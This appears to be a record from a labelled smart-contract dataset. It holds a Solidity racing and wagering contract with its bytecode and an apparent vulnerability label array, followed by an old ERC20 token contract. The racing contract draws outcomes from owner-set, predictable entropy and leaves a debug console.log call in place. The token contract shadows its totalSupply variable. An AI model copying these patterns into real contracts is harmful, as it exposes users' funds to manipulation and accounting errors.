_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// File contracts/RacingV2.sol
pragma solidity ^0.8.2;
interface LeafToken {
function burnFrom(address from, uint256 amount) external;
}
interface EvoSnailsToken {
function transfer(
address from,
address to,
uint256 id
) external;
function ownerOf(uint256 id) external returns (address);
enum ActivityState {
UNSTAKED,
GREENHOUSE
}
struct Activity {
ActivityState state;
address user;
uint48 since;
uint40 lastRoll;
}
function snailActivities(uint256) external returns (Activity memory);
function leafModifier(uint256) external view returns (uint256);
}
contract RacingV2 is Initializable, OwnableUpgradeable {
////////////////////////////////////////////////////////////////////////////////////
// CONFIGURATION
////////////////////////////////////////////////////////////////////////////////////
EvoSnailsToken internal EvoSnails;
LeafToken internal leaf;
EvoSnailsGardenscape internal reward;
uint256 public startTime;
uint256 public endTime;
uint256 public raceInterval;
uint256 internal constant maxPerformance = 2000;
uint256 internal constant rewardCutoff = 2000;
function initialize(
address _evosnails,
address _leaf,
address _reward,
uint256 _interval
) public initializer {
__Ownable_init();
EvoSnails = EvoSnailsToken(_evosnails);
leaf = LeafToken(_leaf);
reward = EvoSnailsGardenscape(_reward);
raceInterval = _interval;
}
////////////////////////////////////////////////////////////////////////////////////
// STATE STORAGE
////////////////////////////////////////////////////////////////////////////////////
struct Snail {
address user;
uint96 lastClaimed;
}
mapping(uint256 => Snail) public snails;
mapping(uint256 => uint256) public leafWagered;
mapping(uint256 => uint256) public entropy;
////////////////////////////////////////////////////////////////////////////////////
// PUBLIC API
////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////
// RACING
//////////////////////////////////////////
function raceForTime(uint256 _time) public view returns (uint256) {
if (_time < startTime) return 0;
return (_time - startTime) / raceInterval;
}
function timeForRace(uint256 _race) public view returns (uint256) {
return startTime + raceInterval * _race;
}
function snailRacePerformance(uint256 _id, uint256 _race) public view returns (uint256) {
uint256 generation = EvoSnails.leafModifier(_id) / 5;
return _racePerformance(_id, _race, _snailSpeedModifier(_id, _race) + generation);
}
function rewardedForRace(uint256 _id, uint256 _race) public view returns (bool) {
if (_race == 0) return false;
uint256 performance = snailRacePerformance(_id, _race);
return performance > rewardCutoff;
}
//////////////////////////////////////////
// WAGERING
//////////////////////////////////////////
function wagerForSnails(
uint256[] calldata _ids,
uint256[] calldata _wagerAmounts,
uint256 _race
) external {
require(_race > raceForTime(block.timestamp), "no wagering for the past!");
uint256 amountToBurn = 0;
for (uint256 index = 0; index < _ids.length; index++) {
uint256 _id = _ids[index];
// UPDATED: not actually needed if the amount wagered is per race?
// Don't allow retroactive performance benefits
// _claim(_id);
amountToBurn += _wagerAmounts[index];
uint256 wagerIndex = (_id << 128) | _race;
leafWagered[wagerIndex] += _wagerAmounts[index];
}
leaf.burnFrom(msg.sender, amountToBurn);
}
function wagerForRace(uint256 _id, uint256 _race) external view returns (uint256) {
uint256 wagerIndex = (_id << 128) | _race;
return leafWagered[wagerIndex];
}
//////////////////////////////////////////
// WITHDRAWING
//////////////////////////////////////////
function claimForSnails(uint256[] calldata _ids) external {
for (uint256 index = 0; index < _ids.length; index++) {
uint256 _id = _ids[index];
_claim(_id);
}
}
//////////////////////////////////////////
// ADMIN
//////////////////////////////////////////
function setEntropy(uint256 _raceId, uint256 _seed) public onlyOwner {
entropy[_raceId] = uint256(keccak256(abi.encode(_seed)));
}
function setStartTime(uint256 _startTime) public onlyOwner {
startTime = _startTime;
}
function setEndTime(uint256 _endTime) public onlyOwner {
endTime = _endTime;
}
////////////////////////////////////////////////////////////////////////////////////
// INTERNAL FUNCTIONS
////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////
// RACING
//////////////////////////////////////////
function _racePerformance(
uint256 _id,
uint256 _race,
uint256 _modifier
) internal view returns (uint256) {
uint256 luck = uint256(keccak256(abi.encode(_id, _race, entropy[_race]))) % maxPerformance;
return luck + _modifier;
}
function _snailSpeedModifier(uint256 _id, uint256 _race) internal view returns (uint256) {
uint256 wagerIndex = (_id << 128) | _race;
return (leafWagered[wagerIndex] / 1 ether * 9 / 5);
}
//////////////////////////////////////////
// WITHDRAWING
//////////////////////////////////////////
function _claim(uint256 _id) internal {
Snail storage snail = snails[_id];
// If staked in the main contract
if (EvoSnails.ownerOf(_id) == address(EvoSnails)) {
// Ensure that the person who did the staking
EvoSnailsToken.Activity memory activity = EvoSnails.snailActivities(_id);
require(activity.user == msg.sender, "not owner");
}
// Unstaked
else {
require(EvoSnails.ownerOf(_id) == msg.sender, "not owner");
}
uint256 lastClaimed = snail.lastClaimed;
if (lastClaimed < startTime) lastClaimed = startTime;
uint256 firstRace = raceForTime(lastClaimed);
uint256 _endTime = block.timestamp;
if (block.timestamp > endTime) _endTime = endTime;
uint256 lastRace = raceForTime(_endTime);
console.log("First and last race: %d, %d", firstRace, lastRace);
uint256 generation = EvoSnails.leafModifier(_id) / 5;
for (uint256 _race = firstRace; _race <= lastRace; _race++) {
uint256 _modifier = _snailSpeedModifier(_id, _race);
uint256 perf = _racePerformance(_id, _race, _modifier + generation);
if (perf > rewardCutoff) {
reward.mintAsReward(msg.sender);
}
}
// Don't allow claiming until next race
snail.lastClaimed = uint96(timeForRace(lastRace + 1));
}
//////////////////////////////////////////
// UTIL
//////////////////////////////////////////
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 32))
}
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
} | 0x608060405234801561001057600080fd5b50600436106100fc5760003560e01c806329eb841d146101015780633197cbb6146101345780633e0a322d1461013d5780634d3732a0146101525780635a29646414610165578063715018a61461017857806372ba63f11461018057806378e97925146101a757806378f6e000146101b0578063836abce8146101d35780638da5cb5b146101dc578063b54710c2146101f1578063bd4105c414610253578063befe697e14610266578063c576a34e14610279578063ccb98ffc1461028c578063cf756fdf1461029f578063dbf428a2146102b2578063e4320ec7146102c5578063f2fde38b146102e5575b600080fd5b61012161010f366004611169565b606d6020526000908152604090205481565b6040519081526020015b60405180910390f35b61012160695481565b61015061014b366004611169565b6102f8565b005b61015061016036600461102c565b610335565b610121610173366004611199565b61038c565b610150610443565b61012161018e366004611199565b60809190911b176000908152606c602052604090205490565b61012160685481565b6101c36101be366004611199565b61047e565b604051901515815260200161012b565b610121606a5481565b6101e46104a5565b60405161012b91906111ba565b61022c6101ff366004611169565b606b602052600090815260409020546001600160a01b03811690600160a01b90046001600160601b031682565b604080516001600160a01b0390931683526001600160601b0390911660208301520161012b565b61015061026136600461106b565b6104b4565b610150610274366004611199565b61064b565b610121610287366004611169565b6106ab565b61015061029a366004611169565b6106c8565b6101506102ad366004610fdc565b6106fc565b6101216102c0366004611169565b6107b6565b6101216102d3366004611169565b606c6020526000908152604090205481565b6101506102f3366004610f9d565b6107e4565b336103016104a5565b6001600160a01b0316146103305760405162461bcd60e51b81526004016103279061127e565b60405180910390fd5b606855565b60005b8181101561038757600083838381811061036257634e487b7160e01b600052603260045260246000fd5b90506020020135905061037481610884565b508061037f81611338565b915050610338565b505050565b6065546040516312e5496960e31b81526004810184905260009182916005916001600160a01b03169063972a4b489060240160206040518083038186803b1580156103d657600080fd5b505afa1580156103ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061040e9190611181565b61041891906112ee565b905061043984848361042a8888610c7b565b61043491906112d6565b610cbf565b9150505b92915050565b3361044c6104a5565b6001600160a01b0316146104725760405162461bcd60e51b81526004016103279061127e565b61047c6000610d25565b565b60008161048d5750600061043d565b6000610499848461038c565b6107d010949350505050565b6033546001600160a01b031690565b6104bd426107b6565b81116105075760405162461bcd60e51b81526020600482015260196024820152786e6f207761676572696e6720666f722074686520706173742160381b6044820152606401610327565b6000805b858110156105de57600087878381811061053557634e487b7160e01b600052603260045260246000fd5b90506020020135905085858381811061055e57634e487b7160e01b600052603260045260246000fd5b905060200201358361057091906112d6565b9250608081901b841786868481811061059957634e487b7160e01b600052603260045260246000fd5b90506020020135606c600083815260200190815260200160002060008282546105c291906112d6565b92505081905550505080806105d690611338565b91505061050b565b5060665460405163079cc67960e41b8152336004820152602481018390526001600160a01b03909116906379cc679090604401600060405180830381600087803b15801561062b57600080fd5b505af115801561063f573d6000803e3d6000fd5b50505050505050505050565b336106546104a5565b6001600160a01b03161461067a5760405162461bcd60e51b81526004016103279061127e565b6040805160208082019390935281518082038401815290820182528051908301206000938452606d90925290912055565b600081606a546106bb9190611302565b60685461043d91906112d6565b336106d16104a5565b6001600160a01b0316146106f75760405162461bcd60e51b81526004016103279061127e565b606955565b600054610100900460ff1680610715575060005460ff16155b6107315760405162461bcd60e51b815260040161032790611230565b600054610100900460ff16158015610753576000805461ffff19166101011790555b61075b610d77565b606580546001600160a01b038088166001600160a01b031992831617909255606680548784169083161790556067805492861692909116919091179055606a82905580156107af576000805461ff00191690555b5050505050565b60006068548210156107ca57506000919050565b606a546068546107da9084611321565b61043d91906112ee565b336107ed6104a5565b6001600160a01b0316146108135760405162461bcd60e51b81526004016103279061127e565b6001600160a01b0381166108785760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610327565b61088181610d25565b50565b6000818152606b60205260409081902060655491516331a9108f60e11b81526004810184905290916001600160a01b0316908190636352211e90602401602060405180830381600087803b1580156108db57600080fd5b505af11580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109139190610fc0565b6001600160a01b031614156109d65760655460405163ae40468160e01b8152600481018490526000916001600160a01b03169063ae40468190602401608060405180830381600087803b15801561096957600080fd5b505af115801561097d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a191906110db565b60208101519091506001600160a01b031633146109d05760405162461bcd60e51b8152600401610327906112b3565b50610a7a565b6065546040516331a9108f60e11b81526004810184905233916001600160a01b031690636352211e90602401602060405180830381600087803b158015610a1c57600080fd5b505af1158015610a30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a549190610fc0565b6001600160a01b031614610a7a5760405162461bcd60e51b8152600401610327906112b3565b8054606854600160a01b9091046001600160601b031690811015610a9d57506068545b6000610aa8826107b6565b6069549091504290811115610abc57506069545b6000610ac7826107b6565b9050610b076040518060400160405280601b81526020017a119a5c9cdd08185b99081b185cdd081c9858d94e8809590b080959602a1b8152508483610df2565b6065546040516312e5496960e31b8152600481018890526000916005916001600160a01b039091169063972a4b489060240160206040518083038186803b158015610b5157600080fd5b505afa158015610b65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b899190611181565b610b9391906112ee565b9050835b828111610c41576000610baa8983610c7b565b90506000610bbd8a8461043487866112d6565b90506107d0811115610c2c576067546040516384b685fb60e01b81526001600160a01b03909116906384b685fb90610bf99033906004016111ba565b600060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050505b50508080610c3990611338565b915050610b97565b50610c506102878360016112d6565b86546001600160601b0391909116600160a01b026001600160a01b0390911617909555505050505050565b608082901b81176000818152606c6020526040812054909190600590610caa90670de0b6b3a7640000906112ee565b610cb5906009611302565b61043991906112ee565b6000828152606d60209081526040808320548151928301879052908201859052606082015281906107d0906080016040516020818303038152906040528051906020012060001c610d109190611353565b9050610d1c83826112d6565b95945050505050565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff1680610d90575060005460ff16155b610dac5760405162461bcd60e51b815260040161032790611230565b600054610100900460ff16158015610dce576000805461ffff19166101011790555b610dd6610e39565b610dde610ea3565b8015610881576000805461ff001916905550565b610387838383604051602401610e0a939291906111ce565b60408051601f198184030181529190526020810180516001600160e01b031663969cdd0360e01b179052610f03565b600054610100900460ff1680610e52575060005460ff16155b610e6e5760405162461bcd60e51b815260040161032790611230565b600054610100900460ff16158015610dde576000805461ffff19166101011790558015610881576000805461ff001916905550565b600054610100900460ff1680610ebc575060005460ff16155b610ed85760405162461bcd60e51b815260040161032790611230565b600054610100900460ff16158015610efa576000805461ffff19166101011790555b610dde33610d25565b80516a636f6e736f6c652e6c6f67602083016000808483855afa5050505050565b60008083601f840112610f35578182fd5b5081356001600160401b03811115610f4b578182fd5b6020830191508360208260051b8501011115610f6657600080fd5b9250929050565b805164ffffffffff81168114610f8257600080fd5b919050565b805165ffffffffffff81168114610f8257600080fd5b600060208284031215610fae578081fd5b8135610fb981611393565b9392505050565b600060208284031215610fd1578081fd5b8151610fb981611393565b60008060008060808587031215610ff1578283fd5b8435610ffc81611393565b9350602085013561100c81611393565b9250604085013561101c81611393565b9396929550929360600135925050565b6000806020838503121561103e578182fd5b82356001600160401b03811115611053578283fd5b61105f85828601610f24565b90969095509350505050565b600080600080600060608688031215611082578081fd5b85356001600160401b0380821115611098578283fd5b6110a489838a01610f24565b909750955060208801359150808211156110bc578283fd5b506110c988828901610f24565b96999598509660400135949350505050565b6000608082840312156110ec578081fd5b604051608081016001600160401b038111828210171561111a57634e487b7160e01b83526041600452602483fd5b60405282516002811061112b578283fd5b8152602083015161113b81611393565b602082015261114c60408401610f87565b604082015261115d60608401610f6d565b60608201529392505050565b60006020828403121561117a578081fd5b5035919050565b600060208284031215611192578081fd5b5051919050565b600080604083850312156111ab578182fd5b50508035926020909101359150565b6001600160a01b0391909116815260200190565b6060815260008451806060840152815b818110156111fb57602081880181015160808684010152016111de565b8181111561120c5782608083860101525b5060208301949094525060408101919091526080601f909201601f19160101919050565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b600082198211156112e9576112e9611367565b500190565b6000826112fd576112fd61137d565b500490565b600081600019048311821515161561131c5761131c611367565b500290565b60008282101561133357611333611367565b500390565b600060001982141561134c5761134c611367565b5060010190565b6000826113625761136261137d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461088157600080fdfea26469706673582212205e68f3773ffb337b8fffeca4f27d9ea02e1825b37fa3abcd4c50d9958a46efbb64736f6c63430008040033 | [
5,
10,
4,
7
] |
0xf340f770a7c8121233aa04cd646f57f31c7f47c2 | pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ABCToken is StandardToken {
string public name = "ABC Token";
string public symbol = "ABC";
uint8 public decimals = 18;
uint public totalSupply = 10 ** 27; //1b
function ()
payable
public
{
revert();
}
function ABCToken() public {
balances[msg.sender] = totalSupply;
}
